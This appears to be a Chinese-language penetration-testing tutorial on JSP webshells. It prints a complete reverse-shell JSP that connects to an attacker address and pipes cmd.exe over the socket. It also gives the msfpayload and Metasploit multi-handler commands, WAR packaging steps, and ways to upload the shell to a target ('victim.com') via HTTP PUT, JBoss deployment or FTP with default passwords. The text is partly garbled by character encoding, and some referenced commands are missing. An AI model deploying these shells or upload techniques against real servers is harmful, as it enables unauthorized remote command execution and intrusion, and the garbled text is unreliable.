什么是WebShell
WebShell就是以asp、php、jsp或者cgi等網(wǎng)頁文件形式存在的一種命令執(zhí)行環(huán)境,也可以將其稱做為一種網(wǎng)頁后門。黑客在入侵了一個(gè)網(wǎng)站后,通常會(huì)將這些asp或php后門文件與網(wǎng)站服務(wù)器WEB目錄下正常的網(wǎng)頁文件混在一起,然后就可以使用瀏覽器…
外國大牛教你玩轉(zhuǎn)JSP Shell
現(xiàn)如今,使用JSP開發(fā)的的網(wǎng)站越來越多,很多大公司的數(shù)據(jù)中心也會(huì)使用這種架構(gòu)。在我的滲透經(jīng)驗(yàn)之中,拿下JSP網(wǎng)站的主要方法就是上傳Shell從而執(zhí)行命令。在下面的文章中我將舉兩個(gè)JSP shell code的例子,和幾個(gè)常見的上傳shell的方法。
對于不怎么熟悉Web Shell的人來說,我前文指的JSP Shell是一段"Java Server Page"這段代碼可以允許任何指令在服務(wù)器上執(zhí)行。一般來說,Shell通過一個(gè)HTML from來接受需要執(zhí)行的指令。下面,我對于每個(gè)例子都會(huì)給出基本的Shell代碼。我個(gè)人比較喜歡用,Metasploit JSP shells,因?yàn)樗哂泻芎玫姆€(wěn)定性和清爽的界面。
基本JSP shell
這是一個(gè)最簡單的 JSP Shell,使用方法如下。
(1)保存為cmd.jsp上傳到服務(wù)器。
(2)訪問這個(gè)頁面,執(zhí)行命令。
外國大牛教你玩轉(zhuǎn)JSP Shell
在攻擊中使用Metasploit JSP Shell大概需要六步。
(1)使用msfpayload創(chuàng)建一個(gè)cmd.jsp
(2)上傳cmd.jsp到服務(wù)器
(3)運(yùn)行Metasploit multi-handler
(4)訪問cmd.jsp
(5)獲得shell
(6)如果是windows,升級到meterpreter shell
創(chuàng)建一個(gè)JSP Shell可以使用如下的命令,LHOST代表了自己主機(jī)的地址。
ruby C:frameworkmsf3msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.100.110 LPORT=53 R > cmd.jsp
上面的指令成功執(zhí)行之后,Metasploit會(huì)生cmd.jsp的源代碼,有些情況下你可能需要修改其中的一些變量來繞過防火墻的檢測。
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<% class StreamConnector extends Thread
{
InputStream is; OutputStream os; StreamConnector( InputStream is, OutputStream os )
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader in = null;
BufferedWriter out = null;
try { in = new BufferedReader( new InputStreamReader( this.is ) );
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
{
out.write( buffer, 0, length );
out.flush();
}
}
catch( Exception e ){} try { if( in != null ) in.close();
if( out != null ) out.close();
}
catch( Exception e ){}
}
} try { Socket socket = new Socket( "192.168.100.110", 53 );
Process process = Runtime.getRuntime().exec( "cmd.exe" );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
}
catch( Exception e ) {}
%>
之后就是把cmd.jsp文件上傳到目標(biāo)服務(wù)器。假設(shè)上傳后的地址是,http://www.victim.com/cmd.jsp之后就開始運(yùn)用Metasploit multi handler,打開msfconsole使用如下命令。
use exploit/multi/handler setg LHOST 192.168.100.110 setg LPORT 53 setg PAYLOAD java/jsp_shell_reverse_tcp setg SHELL cmd.exe exploit –j -z
最后訪問 http://www.victim.com/cmd.jsp ,msfconsole就會(huì)受到反彈回來的鏈接。
你可以通過以下的指令訪問這條shell
如果目標(biāo)主機(jī)是一個(gè)windows主機(jī),可以用以下的指令吧shell升級成一個(gè)meter-preter shell
有些情況下,需要把cmd.jsp打包成一個(gè)WAR文件(比如JBoss).在windows環(huán)境下,需要如下幾步。
(1)安裝JDK
(2)新建 WEB-INF目錄
(3)在 WEB-INF/web.xml 中輸入如下內(nèi)容
<web-app xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemalocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd" version="2.4">
<servlet-name>Command</servlet-name>
<jsp-file>/cmd.jsp</jsp-file>
</web-app>
(4)使用如下命令可以把jsp,文件打包成jar包。
"C:Program Files (x86)Javajdk1.6.0_26injar.exe" cvf cmd.war WEB-INF cmd.jsp
Shell上傳
使用PUT方法
PUT方法是HTTP的一個(gè)擴(kuò)展協(xié)議,允許用戶向服務(wù)器上傳文件。很久以前這個(gè)漏洞還是很流行的。
基本所有掃描工具都可以,掃描到這個(gè)漏洞,也可以通過ncat之類的工具找到這個(gè)漏洞。我比較喜歡
使用burp,使用burp檢測這個(gè)漏洞,需要如下幾步。
(1) 進(jìn)入repeater tab選項(xiàng)卡
(2) 構(gòu)造如下文件頭
PUT /path/cmd.jsp HTTP/1.1 Host: Content-Length: 0
(3) 在文件頭下面連續(xù)輸入兩次回車之后輸入JSP shell code。
(4) 在burp下提交構(gòu)造好的包。
上傳方式
一般情況下,網(wǎng)站對于上傳文件的類型都有很嚴(yán)格的控制,但攻擊者仍然有幾種方法來繞過他們。這里就不詳細(xì)敘述了。
發(fā)布WAR文件
有一些服務(wù)器軟件會(huì)使用到WAR,其中一些會(huì)提供用戶上傳WAR文件的接口。有些會(huì)允許用戶使用一些外部源。Josh Abraham 寫了一些jBoss metasploit exploits,叫做jboss_maindeployer。這里還有一篇比較不錯(cuò)的paper來講針對jBoss的攻擊。
文件共享
有的時(shí)候,網(wǎng)站的主目錄會(huì)被部署到ftp服務(wù)器上,如果能猜到密碼或者是ftp使用了默認(rèn)的密碼。就可以通過ftp來上傳shell。
其實(shí)這是一篇科普文。最后對于文件上傳技巧的敘述比較冗長有刪節(jié)。